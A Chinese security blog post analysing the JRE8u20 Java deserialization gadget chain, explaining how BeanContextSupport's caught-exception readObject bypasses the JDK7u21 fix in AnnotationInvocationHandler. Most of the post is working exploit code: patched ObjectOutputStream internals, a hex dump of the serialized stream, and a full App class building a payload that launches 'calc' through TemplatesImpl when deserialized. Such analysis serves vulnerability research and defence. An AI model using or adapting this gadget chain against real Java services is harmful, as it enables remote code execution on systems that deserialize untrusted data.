概述

JRE8u20 反序列化漏洞主要原理有两个:

1、利用了 JDK7u21 的构造原理;

2、通过 BeanContextSupport 类反序列化对异常的捕获,绕过了 AnnotationInvocationHandler 反序列的修复;

Java 默认反序列化类基础上进行了修改,学习过程记录一下。

涉及知识点:Java 序列化和反序列化、反射、动态代理等等。

环境:jdk1.8.0_20IDEA 2019.2

Java 序列化文章可以参考:https://blog.csdn.net/silentbalanceyh/article/details/8183849

分析过程

JDK7u21 漏洞修复

首先看一下 jdk1.8.0_20AnnotationInvocationHandler 类的反序列化修复。

try {
    var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
    throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

如果 this.type 字段不是 Annotation 类型,则抛出异常。在 JDK7u21 反序列化中, this.type 字段值是 Templates.class,所以这里肯定会抛出异常。

JRE8u20 绕过思路

Java 序列化和反序列化流程中涉及引用概念:序列化对象时,每次写入序列化对象前会调用 handles.lookup() 方法,看这个对象是否已经写入序列化,如果已经写入,则调用 writeHandle(h); 写入引用类型标识和 handle 引用值 0x7e0000 + handle

JDK7u21 序列化中,会先调用 HashSet 类的 writeObject 方法,然后调用 AnnotationInvocationHandler 默认的 defaultWriteFields(obj, slotDesc) 方法,所以在反序列化时也会先调用 HashSet 类的 readObject 方法,然后调用AnnotationInvocationHandler 类的 readObject 方法。上面说过 AnnotationInvocationHandler 类的 readObject 方法会抛出异常,而 HashSet 类的 readObject 方法没有捕获异常并处理,所以这个异常会直接抛出。

所以我们可以利用引用,如果找到一个类能调用并捕获AnnotationInvocationHandler 类的 readObject 方法的异常并且能继续执行,然后 HashSet 类的 readObject 方法直接读取 AnnotationInvocationHandler 类对象的引用。

寻找一个类,这个类需要满足几个条件:

1、实现 Serializable;

2、重写了 readObject 方法;

3、readObject 方法还存在对 readObject 的调用,并且对调用的 readObject 方法进行了异常捕获并继续执行;

JRE8u20 中使用的是 java.beans.beancontext.BeanContextSupport 这个类,看一下这个类的 readObject 方法,其中调用了 readChildren(ObjectInputStream ois) 方法,主要代码如下:

try {
    child = ois.readObject();
    bscc  = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
    continue;
} catch (ClassNotFoundException cnfe) {
    continue;
}

这个类正好满足我们的条件。

测试用例

Example 类模拟 AnnotationInvocationHandler

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Example implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;

    public Example(String name) {
        this.name = name;
    }

    private void readObject(ObjectInputStream input)
            throws Exception {
        input.defaultReadObject();
        if (!this.name.equals("Example")) {
            throw new IOException("name is error");
        }
    }
}

Wrapper 类模拟 BeanContextSupport

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Wrapper implements Serializable {
    private static final long serialVersionUID = 1L;

    private void readObject(ObjectInputStream input)
            throws Exception {
        input.defaultReadObject();
        try {
            input.readObject();
        } catch (Exception e) {
            System.out.println("Wrapper child object readObject error");
        }
    }
}

Wrapper 类没有重写 writeObject 方法,可以根据 readObject 方法重新构造序列化流程。这里将默认 ObjectStreamClassObjectStreamFieldObjectStreamStreamSerialCallbackContextBits类拷贝下来,进行重新修改。类名分别为 TCObjectStreamClassTCObjectStreamFieldTCObjectStreamStreamSerialCallbackContextBits

App

public class App {
    public static void main(String[] args) throws Exception {
        Example ex = new Example("test");
        Wrapper wp = new Wrapper();

        TCObjectOutputStream oos = new TCObjectOutputStream(new FileOutputStream("obj.ser"));
        oos.setEx(ex);
        oos.writeObject0(wp);
        oos.writeObject0(ex);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("obj.ser"));
        objectInputStream.readObject();
        System.out.println(objectInputStream.readObject());
    }
}

重新构造 Wrapper 类的写入序列化流程,目标是将 Wrapper 对象像如下方式写入序列化。所以需要修改序列化流程中的字段和语句。

private void writeObject(ObjectOutputStream s)
            throws Exception {
        s.defaultWriteObject();
        s.writeObject(ex); // 写入 Example 对象
}

1、首先修改 TCObjectStreamClass(final Class<?> cl) 构造方法,让 Wrapper 类描述的 writeObjectMethod 字段不为 null,这样在写入序列化数据时,会调用重写的 writeObject 方法流程。

if (cl.getName() == "com.haby0.deserialization.JRE8u20.Wrapper"){
    try {
        writeObjectMethod = HashSet.class.getDeclaredMethod("writeObject", new Class<?>[] { ObjectOutputStream.class });
    } catch (NoSuchMethodException e) {
        e.printStackTrace();
    }
}else {
    writeObjectMethod = getPrivateMethod(cl, "writeObject",
            new Class<?>[] { ObjectOutputStream.class },
            Void.TYPE);
}

2、修改 TCObjectOutputStream 类的 writeSerialData 方法。将 slotDesc.invokeWriteObject(obj, this); 语句替换如下:

if(slotDesc.getName() == "com.haby0.deserialization.JRE8u20.Wrapper"){
    defaultWriteObject();
    writeObject0(getEx());
}else {
    defaultWriteObject();
}

然后执行 App 类的 main 方法,通过执行结果已经达到了我们的目的。

Wrapper child object readObject error
com.haby0.deserialization.JRE8u20.Example@2626b418

序列化文件如下:

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 41 - 0x00 29
        Value - com.haby0.deserialization.JRE8u20.Wrapper - 0x636f6d2e68616279302e646573657269616c697a6174696f6e2e4a5245387532302e57726170706572
      serialVersionUID - 0x00 00 00 00 00 00 00 01
      newHandle 0x00 7e 00 00
      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
      fieldCount - 0 - 0x00 00
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 01
    classdata
      com.haby0.deserialization.JRE8u20.Wrapper
        values
        objectAnnotation
          TC_OBJECT - 0x73
            TC_CLASSDESC - 0x72
              className
                Length - 41 - 0x00 29
                Value - com.haby0.deserialization.JRE8u20.Example - 0x636f6d2e68616279302e646573657269616c697a6174696f6e2e4a5245387532302e4578616d706c65
              serialVersionUID - 0x00 00 00 00 00 00 00 01
              newHandle 0x00 7e 00 02
              classDescFlags - 0x02 - SC_SERIALIZABLE
              fieldCount - 1 - 0x00 01
              Fields
                0:
                  Object - L - 0x4c
                  fieldName
                    Length - 4 - 0x00 04
                    Value - name - 0x6e616d65
                  className1
                    TC_STRING - 0x74
                      newHandle 0x00 7e 00 03
                      Length - 18 - 0x00 12
                      Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
              classAnnotations
                TC_ENDBLOCKDATA - 0x78
              superClassDesc
                TC_NULL - 0x70
            newHandle 0x00 7e 00 04
            classdata
              com.haby0.deserialization.JRE8u20.Example
                values
                  name
                    (object)
                      TC_STRING - 0x74
                        newHandle 0x00 7e 00 05
                        Length - 4 - 0x00 04
                        Value - test - 0x74657374
          TC_ENDBLOCKDATA - 0x78
  TC_REFERENCE - 0x71
    Handle - 8257540 - 0x00 7e 00 04

JRE8u20 构造思路

BeanContextSupport 类关注点

看一下 BeanContextSupport 类的反序列化方法

private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

    synchronized(BeanContext.globalHierarchyLock) {
        ois.defaultReadObject(); // 调用默认的反序列化方法

        initialize(); // 初始化一堆字段

        bcsPreDeserializationHook(ois); 

        if (serializable > 0 && this.equals(getBeanContextPeer())) // 当 serializable > 0,并且父类 beanContextChildPeer 字段值为当前对象时,调用 readChildren 方法调用子对象的 readObject 方法
            readChildren(ois);

        deserialize(ois, bcmListeners = new ArrayList(1)); // 当 ois.readInt() 大于零时继续反序列化对象,并将对象添加到 bcmListeners 中
    }
}

所以我们在重写 BeanContextSupport 类的序列化数据时应该这样写入:

defaultWriteObject();
writeObject0(getInvocationHandler(), false);
bout.writeInt(0);

并且 serializable 的字段值设置为 1,beanContextChildPeer 字段值设置为 BeanContextSupport 对象。

原有序列化流程修改点

1、在 HashSet 类中构造假字段,字段类型为 java.beans.beancontext.BeanContextSupport,BeanContextSupport 和 BeanContextChildSupport 类只写入自己想要写入的字段;

if (cl == java.util.HashSet.class){
    fields = SetHashField(); // 构造 HashSet 类假字段
}else if (cl == java.beans.beancontext.BeanContextSupport.class){
    fields = SetBeanContextSupportField(); // BeanContextSupport 序列化要写入的字段 serializable
}else if (cl == java.beans.beancontext.BeanContextChildSupport.class){
    fields = SetBeanContextChildSupportField(); // BeanContextChildSupport 序列化要写入的字段 beanContextChildPeer
}else {
    fields = getSerialFields(cl); // 默认获取序列化字段流程
}

2、修改 sun.reflect.annotation.AnnotationInvocationHandler 类的 hasWriteObjectData

if (cl.getName() == "sun.reflect.annotation.AnnotationInvocationHandler"){
    hasWriteObjectData = true;
}else {
    hasWriteObjectData = (writeObjectMethod != null);
}

3、重新构造调用重写 writeObject 方法的序列化流程,根据 JDK7u21 序列化的类来修改 writeSerialData 方法,将 slotDesc.invokeWriteObject(obj, this); 语句修改如下:

if (slotDesc.getName().equals("java.util.HashSet")){
    defaultWriteObject();
    bout.writeInt(16);
    bout.writeFloat(.75f);
    bout.writeInt(2);
    writeObject0(getTemplatesImpl(), false);
    writeObject0(getTemplates(), false);
}else if(slotDesc.getName().equals("java.beans.beancontext.BeanContextSupport")){
    defaultWriteObject();
    writeObject0(getInvocationHandler(), false);
    bout.writeInt(0);

}else if(slotDesc.getName().equals("java.util.HashMap")){
    defaultWriteObject();
    bout.writeInt(16);
    bout.writeInt(1);
    writeObject0("f5a5a608");
    writeObject0(getTemplatesImpl());

} else if(slotDesc.getName().equals("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")){
    defaultWriteObject();
    bout.writeBoolean(false);
} else {
    defaultWriteObject();
}

4、修改 defaultWriteFields(obj, slotDesc); 方法,将 writeObject0(objVals[i],fields[numPrimFields + i].isUnshared()); 修改如下:

if (desc.getName() == "java.util.HashSet"){
    writeObject0(getBeanContextSupport(),false); // 为构造的假字段写入值为 BeanContextSupport 对象
}else if (desc.getName() == "java.beans.beancontext.BeanContextChildSupport"){
    writeObject0(getBeanContextSupport(),false); // 为 beanContextChildPeer 字段写入值为 BeanContextSupport() 对象
}else {
    writeObject0(objVals[i],
            fields[numPrimFields + i].isUnshared());
}

构造代码

相关代码上传 github

package com.haby0.deserialization.JRE8u20;

import com.haby0.deserialization.JDK7u21;
import com.haby0.deserialization.JRE8u20.myutil.TCObjectOutputStream;
import com.haby0.deserialization.util.ClassFiles;
import com.haby0.deserialization.util.ClassLoaderImpl;
import com.haby0.deserialization.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.*;
import java.util.*;

public class App {
    public static void main(String[] args) throws Exception {
        BeanContextSupport bcs = new BeanContextSupport();

        Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
        Field serializable =  cc.getDeclaredField("serializable");
        serializable.setAccessible(true);
        serializable.set(bcs, 1);

        TemplatesImpl calc = JDK7u21.createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

        HashMap map = new HashMap();
        map.put("f5a5a608", "aaaa");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
                newInstance(Templates.class, map);

        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
        allIfaces[0] = Templates.class;
        Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);

        LinkedHashSet set = new LinkedHashSet();
        set.add(calc);
        set.add(templates);

        TCObjectOutputStream oos = new TCObjectOutputStream(new FileOutputStream("obj.ser"));
        oos.setTemplates(templates);
        oos.setTemplatesImpl(calc);
        oos.setInvocationHandler(tempHandler);
        oos.setBeanContextSupport(bcs);
        oos.setLhs(set);

        oos.writeObject0(set);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("obj.ser"));
        objectInputStream.readObject();

    }
}

参考

https://www.anquanke.com/post/id/87270

https://github.com/pwntester/JRE8u20_RCE_Gadget

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖